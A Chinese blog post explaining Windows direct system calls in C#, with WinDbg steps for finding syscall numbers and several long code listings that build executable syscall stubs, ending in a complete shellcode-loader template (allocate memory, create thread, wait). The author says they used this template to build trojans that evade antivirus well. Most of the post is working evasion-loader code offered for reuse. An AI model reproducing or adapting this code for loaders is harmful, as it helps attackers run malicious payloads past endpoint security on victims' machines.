发布于2022年11月22日2年前 前言 最近打了两个项目,大多数笔记都更新在星球了。想起来,很久没写博客了,更新一下 最近研究了一下C#的syscall,记录一下 系统调用 抄来的介绍 在Windows中,进程架构分为两种处理器访问模式——用户模式和内核模式。这些模式的实现背后的想法是保护用户应用程序不访问和修改任何关键的操作系统数据。Chrome、Word 等用户应用程序都运行在用户模式下,而操作系统代码(如系统服务和设备驱动程序)都运行在内核模式下。 内核模式特指处理器中的一种执行模式,它授予对所有系统内存和所有 CPU 指令的访问权限。一些 x86 和 x64处理器通过使用另一个称为环级别的术语来区分这些模式。利用环级别特权模式的处理器定义了四个特权级别 - 其他称为环- 以保护系统代码和数据。这些振铃级别的示例如下所示。 在 Windows 中,Windows 仅使用其中两个环 - 内核模式的环 0 和用户模式的环 3。现在,在正常的处理器操作期间,处理器将根据处理器上运行的代码类型在这两种模式之间切换。那么,这种“环级”安全性背后的原因是什么?那么,当您启动用户模式应用程序时,Windows 将为该应用程序创建一个新进程,并为该应用程序提供一个私有虚拟地址空间和一个私有句柄表。 这个“句柄表”是一个包含句柄的内核对象。句柄只是对特定系统资源的抽象引用值,例如内存区域或位置、打开的文件或管道。它的最初目标是对 API 用户隐藏真实的内存地址,从而允许系统执行某些管理功能,例如重组物理内存。 总体而言,handles 作业是针对任务内部结构的,例如:令牌、进程、线程等。下面可以看到一个句柄的示例。 因为应用程序的虚拟地址空间是私有的,所以一个应用程序不能更改属于另一个应用程序的数据——除非进程通过文件映射或通过VirtualProtect函数将其私有地址空间的一部分作为共享内存部分提供,或者除非一个进程有权打开另一个进程以使用跨进程内存功能,例如ReadProcessMemory和WriteProcessMemory。 现在,与用户模式不同,在内核模式下运行的所有代码共享一个称为系统空间的虚拟地址空间。这意味着内核模式驱动程序不与其他驱动程序和操作系统本身隔离。因此,如果驱动程序不小心写入了错误的地址空间或进行了恶意操作,那么它可能会危及系统或其他驱动程序。尽管有一些保护措施可以防止操作系统受到干扰——比如内核补丁保护又名补丁保护,但我们不必担心这些。【由于内核容纳了操作系统的大部分内部数据结构(例如句柄表),任何时候用户模式应用程序需要访问这些数据结构或需要调用内部 Windows 例程来执行特权操作(例如读取一个文件),那么它必须首先从用户模式切换到内核模式。这就是系统调用发挥作用的地方。 为了让用户应用程序在内核模式下访问这些数据结构,该进程使用了一个特殊的处理器指令触发器,称为“系统调用”。该指令触发处理器访问模式之间的转换,并允许处理器访问内核中的系统服务调度代码。】这反过来调用Ntoskrnl.exe或Win32k.sys中的适当内部函数,这些函数包含内核和 OS 应用程序级逻辑。 问题: 1.不同的系统的syscall不一样,怎么样才能实现在不同系统里面动态调用 如何获取syscall的系统调用号 准备工具:windbg 获取API地址 x ntdll!NtCreateFile 指定地址查看反汇编 u 00007ffd`3826db50 得到的汇编 ntdll!ZwCreateFile: 00007ffd`3826db50 4c8bd1 mov r10,rcx 00007ffd`3826db53 b855000000 mov eax,55h 00007ffd`3826db58 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1 00007ffd`3826db60 7503 jne ntdll!ZwCreateFile+0x15 (00007ffd`3826db65) 00007ffd`3826db62 0f05 syscall 00007ffd`3826db64 c3 ret 00007ffd`3826db65 cd2e int 2Eh 00007ffd`3826db67 c3 ret 其中这里的mov eax,55h就是系统调用号,这里的NtCreateFile的系统调用号就是0x55。将系统调用号传入eax寄存器,将调用系统调用指令。CPU 将在此处跳转到内核模式并执行指定的特权操作。 这里可以看到关键的汇编指令: (参数会传到r10,r10在传给rcx) mov r10,rcx //规定 mov eax,<系统调用号> syscall ret 获取API函数需要的内存权限 !address 00007ffd`3826db50 C#下如何编写 代码示例来源:https://github.com/SolomonSklash/SyscallPOC/tree/master/Syscall 整体代码思路: ->先把提取出来的系统编号那段汇编放到byte[]数组 ->定义一个函数实现委托 ->定义byte指针,将汇编的byte[]数组赋予该指针 ->定义名为memoryAddress的int变量,将byte指针赋予 ->利用VirtualProtectEx修改内存权限 ->利用Marshal.GetDelegateForFunctionPointer将函数转换为一个委托 ->返回该委托 问题: 为什么要用unsafe 为什么要用Marshal.GetDelegateForFunctionPointer 为什么有UnmanagedFunctionPointer(CallingConvention.StdCall) 为什么要用unsafe 当一个代码块使用 unsafe 修饰符标记时,C# 允许在函数中使用指针变量。不安全代码或非托管代码是指使用了指针变量的代码块 为什么要有Marshal.GetDelegateForFunctionPointer 在.net 2.0 中,框架直接提供了 Marshal.GetDelegateForFunctionPointer 来转换一个函数指针为一个委托 C# 中的委托(Delegate)类似于 C 或 C++ 中函数的指针。委托(Delegate) 是存有对某个方法的引用的一种引用类型变量。引用可在运行时被改变。 委托(Delegate)特别用于实现事件和回调方法。所有的委托(Delegate)都派生自 System.Delegate 类。 参考链接: https://cloud.tencent.com/developer/article/1798625 https://www.runoob.com/csharp/csharp-delegate.html 为什么有UnmanagedFunctionPointer(CallingConvention.StdCall) UnmanagedFunctionPointer 控制作为非托管函数指针传递给非托管代码或从非托管代码传递的委托签名的封送处理行为。这个类不能被继承。 https://learn.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.unmanagedfunctionpointerattribute.-ctor?view=net-6.0#system-runtime-interopservices-unmanagedfunctionpointerattribute-ctor(system-runtime-interopservices-callingconvention) CallingConvention.StdCal 被调用者清理堆栈。 属于调用约定枚举里面的参数 https://learn.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.callingconvention?view=net-6.0 写死的syscall示例代码1 static byte[] bNtWaitForSingleObject = { 0x4c, 0x8b, 0xd1, // mov r10,rcx 0xb8, 0x04, 0x00, 0x00, 0x00, // mov eax,4 0x0F, 0x05, // syscall 0xC3 // ret }; public static NTSTATUS NtWaitForSingleObject(IntPtr Object, bool Alertable, uint Timeout) { // set byte array of bNtWaitForSingleObject to new byte array called syscall byte[] syscall = bNtWaitForSingleObject; // specify unsafe context unsafe { // create new byte pointer and set value to our syscall byte array fixed (byte* ptr = syscall) { // cast the byte array pointer into a C# IntPtr called memoryAddress IntPtr memoryAddress = (IntPtr)ptr; // Change memory access to RX for our assembly code if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint oldprotect)) { throw new Win32Exception(); } // Get delegate for NtWaitForSingleObject Delegates.NtWaitForSingleObject assembledFunction = (Delegates.NtWaitForSingleObject)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtWaitForSingleObject)); return (NTSTATUS)assembledFunction(Object, Alertable, Timeout); } } } public struct Delegates { <省略> [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate NTSTATUS NtWaitForSingleObject(IntPtr Object, bool Alertable, uint Timeout); 示例代码2 using System; using System.ComponentModel; using System.Diagnostics; using System.Runtime.InteropServices; using static Syscall.Native; namespace Syscall { class Syscalls { /* MSDN: NTSTATUS NtAllocateVirtualMemory( HANDLE ProcessHandle, // C#: IntPtr PVOID* BaseAddress, // C#: IntPtr ULONG_PTR ZeroBits, // C#: IntPtr PSIZE_T RegionSize, // C#: ref UIntPtr ULONG AllocationType, // C#: UInt32 ULONG Protect // C#: UInt32 ); ReactOS: NTSTATUS NtAllocateVirtualMemory( _In_ HANDLE ProcessHandle, _Inout_ _Outptr_result_buffer_(* RegionSize) PVOID *BaseAddress, _In_ ULONG_PTR ZeroBits, _Inout_ PSIZE_T RegionSize, _In_ ULONG AllocationType, _In_ ULONG Protect ); */ /* 0x18 in all Windows 10 version so far */ static byte[] bNtAllocateVirtualMemory = { 0x4c, 0x8b, 0xd1, // mov r10,rcx 0xb8, 0x18, 0x00, 0x00, 0x00, // mov eax,18h 0x0F, 0x05, // syscall 0xC3 // ret }; public static NTSTATUS NtAllocateVirtualMemory( IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, uint AllocationType, uint Protect ) { // set byte array of bNtAllocateVirtualMemory to new byte array called syscall byte[] syscall = bNtAllocateVirtualMemory; // specify unsafe context unsafe { // create new byte pointer and set value to our syscall byte array fixed (byte* ptr = syscall) { // cast the byte array pointer into a C# IntPtr called memoryAddress IntPtr memoryAddress = (IntPtr)ptr; // Change memory access to RX for our assembly code if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint oldprotect)) { throw new Win32Exception(); } // Get delegate for NtAllocateVirtualMemory Delegates.NtAllocateVirtualMemory assembledFunction = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtAllocateVirtualMemory)); return (NTSTATUS)assembledFunction( ProcessHandle, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect); } } } // https://securityxploded.com/ntcreatethreadex.php //NTSTATUS NtCreateThreadEx( // OUT PHANDLE hThread, // C#: out IntPtr // IN ACCESS_MASK DesiredAccess, // C#: ACCESS_MASK (Native.cs) // IN LPVOID ObjectAttributes, // C#: IntPtr.Zero // IN HANDLE ProcessHandle, // C#: IntPtr // IN LPTHREAD_START_ROUTINE lpStartAddress, // C#: IntPtr // IN LPVOID lpParameter, // C#: IntPtr // IN BOOL CreateSuspended, // C#: Boolean/Int // IN ULONG StackZeroBits, // C#: uint // IN ULONG SizeOfStackCommit, // C#: uint // IN ULONG SizeOfStackReserve, // C#: uint // OUT LPVOID lpBytesBuffer // C#: IntPtr // ); /* Windows 10 1909: 0xBD, Windows 10 2004: 0xC1 */ static byte[] bNtCreateThreadEx = { 0x4c, 0x8b, 0xd1, // mov r10,rcx // 0xb8, 0xc1, 0x00, 0x00, 0x00, // mov eax,0BDh 0xb8, 0xbd, 0x00, 0x00, 0x00, // mov eax,0BDh 0x0F, 0x05, // syscall 0xC3 // ret }; public static NTSTATUS NtCreateThreadEx( out IntPtr hThread, ACCESS_MASK DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer ) { // set byte array of bNtCreateThread to new byte array called syscall byte[] syscall = bNtCreateThreadEx; // specify unsafe context unsafe { // create new byte pointer and set value to our syscall byte array fixed (byte* ptr = syscall) { // cast the byte array pointer into a C# IntPtr called memoryAddress IntPtr memoryAddress = (IntPtr)ptr; // Change memory access to RX for our assembly code if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint oldprotect)) { throw new Win32Exception(); } // Get delegate for NtCreateThread Delegates.NtCreateThreadEx assembledFunction = (Delegates.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateThreadEx)); return (NTSTATUS)assembledFunction( out hThread, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateSuspended, StackZeroBits, SizeOfStackCommit, SizeOfStackReserve, lpBytesBuffer ); } } } /* MSDN: NTSTATUS ZwWaitForSingleObject( HANDLE Handle, // C#: IntPtr BOOLEAN Alertable, // C#: Boolean PLARGE_INTEGER Timeout // C#: Int64 ); ReactOS: NTSTATUS NtWaitForSingleObject( In_ HANDLE Object, In_ BOOLEAN Alertable, In_opt_ PLARGE_INTEGER Time ); */ /* 0x4 in all Windows 10 versions so far */ static byte[] bNtWaitForSingleObject = { 0x4c, 0x8b, 0xd1, // mov r10,rcx 0xb8, 0x04, 0x00, 0x00, 0x00, // mov eax,4 0x0F, 0x05, // syscall 0xC3 // ret }; public static NTSTATUS NtWaitForSingleObject(IntPtr Object, bool Alertable, uint Timeout) { // set byte array of bNtWaitForSingleObject to new byte array called syscall byte[] syscall = bNtWaitForSingleObject; // specify unsafe context unsafe { // create new byte pointer and set value to our syscall byte array fixed (byte* ptr = syscall) { // cast the byte array pointer into a C# IntPtr called memoryAddress IntPtr memoryAddress = (IntPtr)ptr; // Change memory access to RX for our assembly code if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint oldprotect)) { throw new Win32Exception(); } // Get delegate for NtWaitForSingleObject Delegates.NtWaitForSingleObject assembledFunction = (Delegates.NtWaitForSingleObject)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtWaitForSingleObject)); return (NTSTATUS)assembledFunction(Object, Alertable, Timeout); } } } public struct Delegates { [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate NTSTATUS NtAllocateVirtualMemory( IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate NTSTATUS NtCreateThreadEx( out IntPtr hThread, ACCESS_MASK DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer ); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate NTSTATUS NtWaitForSingleObject(IntPtr Object, bool Alertable, uint Timeout); } } } NtAllocateVirtualMemory示例代码 不同的系统的syscall不一样,怎么样才能实现在不同系统里面动态调用 public static uint GetSyscallID(string SysFunName) { uint SyscallID = 0; IntPtr SyscallID_mem = Marshal.AllocHGlobal(Marshal.SizeOf(SyscallID)); //先获取SyscallID的内存大小 再分配内存 RtlZeroMemory(SyscallID_mem, Marshal.SizeOf(SyscallID)); //用0填充内存 IntPtr hModule = GetModuleHandle("ntdll.dll"); //获取ntdll基址 IntPtr FunAddr = GetProcAddress(hModule, SysFunName); //获取API函数地址 IntPtr CallAddr = FunAddr + 4; //获取系统调用编号地址 uint temp; bool read_result = ReadProcessMemory(GetCurrentProcess(), CallAddr, SyscallID_mem, 4, out temp); //读取内存编号 // Console.WriteLine("Error: " + Marshal.GetLastWin32Error()); // Console.WriteLine("CallAddr:" + CallAddr + ", SyscallID" + SyscallID + ", temp: " + temp); SyscallID = (uint)Marshal.ReadInt32(SyscallID_mem); //从非托管内存中读取 32 位有符号整数。支持从未对齐的内存位置读取 (相当于转成int) return SyscallID; //返回内存编号 } public static byte[] SYSbyte1 = { 0x4c, 0x8b, 0xd1, // 0x4c, 0x8b, 0xd1=mov r10,rcx、 0xb8=mov eax 0xb8 }; public static byte[] SYSbyte2 = { 0x00, 0x00, 0x00, // 0x0F, 0x05=syscall、0xc3=ret 0x0F, 0x05, 0xC3 }; public static uint NtAllocateVirtualMemory ( IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, uint AllocationType, uint Protect ) { // set byte array of bNtAllocateVirtualMemory to new byte array called syscall uint SyscallID = Auto_NativeCode.GetSyscallID("NtAllocateVirtualMemory"); byte[] syscall1 = SYSbyte1; byte[] syscallid = { (byte)SyscallID }; byte[] syscall2 = SYSbyte2; byte[] sysfinal = syscall1.Concat(syscallid).Concat(syscall2).ToArray(); //拼接syscall汇编指令 /* foreach(byte temp in sysfinal) { Console.WriteLine("Sysfinal: " + temp); } */ // specify unsafe context unsafe { // create new byte pointer and set value to our syscall byte array fixed (byte* ptr = sysfinal) { // cast the byte array pointer into a C# IntPtr called memoryAddress IntPtr memoryAddress = (IntPtr)ptr; // Change memory access to RX for our assembly code if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)sysfinal.Length, PAGE_EXECUTE_READWRITE, out uint oldprotect)) { throw new Win32Exception(); } // Get delegate for NtAllocateVirtualMemory DelegatesStruct.NtAllocateVirtualMemory assembledFunction = (DelegatesStruct.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(DelegatesStruct.NtAllocateVirtualMemory)); return (uint)assembledFunction( ProcessHandle, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect); } } } API Syscall声明-执行shellcode整套完整模板 - 来源代码:https://github.com/Kara-4search/SysCall_ShellcodeLoad_Csharp using System; using System.Collections.Generic; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; using System.Runtime.InteropServices; using System.ComponentModel; using System.Diagnostics; namespace SysCall_ShellcodeLoad { class Auto_NativeCode { [DllImport("kernel32.dll")] public static extern bool VirtualProtectEx ( IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect ); [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32.dll", CharSet = CharSet.Auto)] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll")] public static extern void RtlZeroMemory(IntPtr pBuffer, int length); [DllImport("kernel32.dll", SetLastError = true)] static extern bool ReadProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, int dwSize, out uint lpNumberOfBytesRead ); public uint NTSTATUS; public static UInt32 PAGE_EXECUTE_READWRITE = 0x40; // public uint SYSid = 0; public static byte[] SYSbyte1 = { 0x4c, 0x8b, 0xd1, 0xb8 }; public static byte[] SYSbyte2 = { 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; public enum AllocationType : ulong { Commit = 0x1000, Reserve = 0x2000, Decommit = 0x4000, Release = 0x8000, Reset = 0x80000, Physical = 0x400000, TopDown = 0x100000, WriteWatch = 0x200000, LargePages = 0x20000000 } public static uint GetSyscallID(string SysFunName) { uint SyscallID = 0; IntPtr SyscallID_mem = Marshal.AllocHGlobal(Marshal.SizeOf(SyscallID)); RtlZeroMemory(SyscallID_mem, Marshal.SizeOf(SyscallID)); IntPtr hModule = GetModuleHandle("ntdll.dll"); IntPtr FunAddr = GetProcAddress(hModule, SysFunName); IntPtr CallAddr = FunAddr + 4; uint temp; bool read_result = ReadProcessMemory(GetCurrentProcess(), CallAddr, SyscallID_mem, 4, out temp); // Console.WriteLine("Error: " + Marshal.GetLastWin32Error()); // Console.WriteLine("CallAddr:" + CallAddr + ", SyscallID" + SyscallID + ", temp: " + temp); SyscallID = (uint)Marshal.ReadInt32(SyscallID_mem); Console.WriteLine("SyscallID:{0:x}",SyscallID); return SyscallID; } public static uint NtAllocateVirtualMemory ( IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, uint AllocationType, uint Protect ) { // set byte array of bNtAllocateVirtualMemory to new byte array called syscall uint SyscallID = Auto_NativeCode.GetSyscallID("NtAllocateVirtualMemory"); byte[] syscall1 = SYSbyte1; byte[] syscallid = { (byte)SyscallID }; byte[] syscall2 = SYSbyte2; byte[] sysfinal = syscall1.Concat(syscallid).Concat(syscall2).ToArray(); /* foreach(byte temp in sysfinal) { Console.WriteLine("Sysfinal: " + temp); } */ // specify unsafe context unsafe { // create new byte pointer and set value to our syscall byte array fixed (byte* ptr = sysfinal) { // cast the byte array pointer into a C# IntPtr called memoryAddress IntPtr memoryAddress = (IntPtr)ptr; // Change memory access to RX for our assembly code if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)sysfinal.Length, PAGE_EXECUTE_READWRITE, out uint oldprotect)) { throw new Win32Exception(); } // Get delegate for NtAllocateVirtualMemory DelegatesStruct.NtAllocateVirtualMemory assembledFunction = (DelegatesStruct.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(DelegatesStruct.NtAllocateVirtualMemory)); return (uint)assembledFunction( ProcessHandle, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect); } } } public static uint NtCreateThreadEx ( out IntPtr hThread, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer ) { // set byte array of bNtCreateThread to new byte array called syscall uint SyscallID = Auto_NativeCode.GetSyscallID("NtCreateThreadEx"); byte[] syscall1 = SYSbyte1; byte[] syscallid = { (byte)SyscallID }; byte[] syscall2 = SYSbyte2; byte[] sysfinal = syscall1.Concat(syscallid).Concat(syscall2).ToArray(); // specify unsafe context unsafe { // create new byte pointer and set value to our syscall byte array fixed (byte* ptr = sysfinal) { // cast the byte array pointer into a C# IntPtr called memoryAddress IntPtr memoryAddress = (IntPtr)ptr; // Change memory access to RX for our assembly code if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)sysfinal.Length, PAGE_EXECUTE_READWRITE, out uint oldprotect)) { throw new Win32Exception(); } // Get delegate for NtCreateThread DelegatesStruct.NtCreateThreadEx assembledFunction = (DelegatesStruct.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(DelegatesStruct.NtCreateThreadEx)); return (uint)assembledFunction( out hThread, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateSuspended, StackZeroBits, SizeOfStackCommit, SizeOfStackReserve, lpBytesBuffer ); } } } public static uint NtWaitForSingleObject(IntPtr Object, bool Alertable, uint Timeout) { // set byte array of bNtWaitForSingleObject to new byte array called syscall uint SyscallID = Auto_NativeCode.GetSyscallID("NtWaitForSingleObject"); byte[] syscall1 = SYSbyte1; byte[] syscallid = { (byte)SyscallID }; byte[] syscall2 = SYSbyte2; byte[] sysfinal = syscall1.Concat(syscallid).Concat(syscall2).ToArray(); // specify unsafe context unsafe { // create new byte pointer and set value to our syscall byte array fixed (byte* ptr = sysfinal) { // cast the byte array pointer into a C# IntPtr called memoryAddress IntPtr memoryAddress = (IntPtr)ptr; // Change memory access to RX for our assembly code if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)sysfinal.Length, PAGE_EXECUTE_READWRITE, out uint oldprotect)) { throw new Win32Exception(); } // Get delegate for NtWaitForSingleObject DelegatesStruct.NtWaitForSingleObject assembledFunction = (DelegatesStruct.NtWaitForSingleObject)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(DelegatesStruct.NtWaitForSingleObject)); return (uint)assembledFunction(Object, Alertable, Timeout); } } } public struct DelegatesStruct { [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate uint NtAllocateVirtualMemory( IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate uint NtCreateThreadEx( out IntPtr hThread, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer ); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate uint NtWaitForSingleObject(IntPtr Object, bool Alertable, uint Timeout); } } } 最后就是实现shellcode执行,按照C翻译就行。或者CV 在项目里面用这个模板做的几个马,免杀效果都不错 参考链接 https://jhalon.github.io/utilizing-syscalls-in-csharp-1/https://jhalon.github.io/utilizing-syscalls-in-csharp-2/https://www.solomonsklash.io/syscalls-for-shellcode-injection.htmlhttps://github.com/SolomonSklash/SyscallPOChttps://github.com/Kara-4search/SysCall_ShellcodeLoad_Csharp
创建帐户或登录后发表意见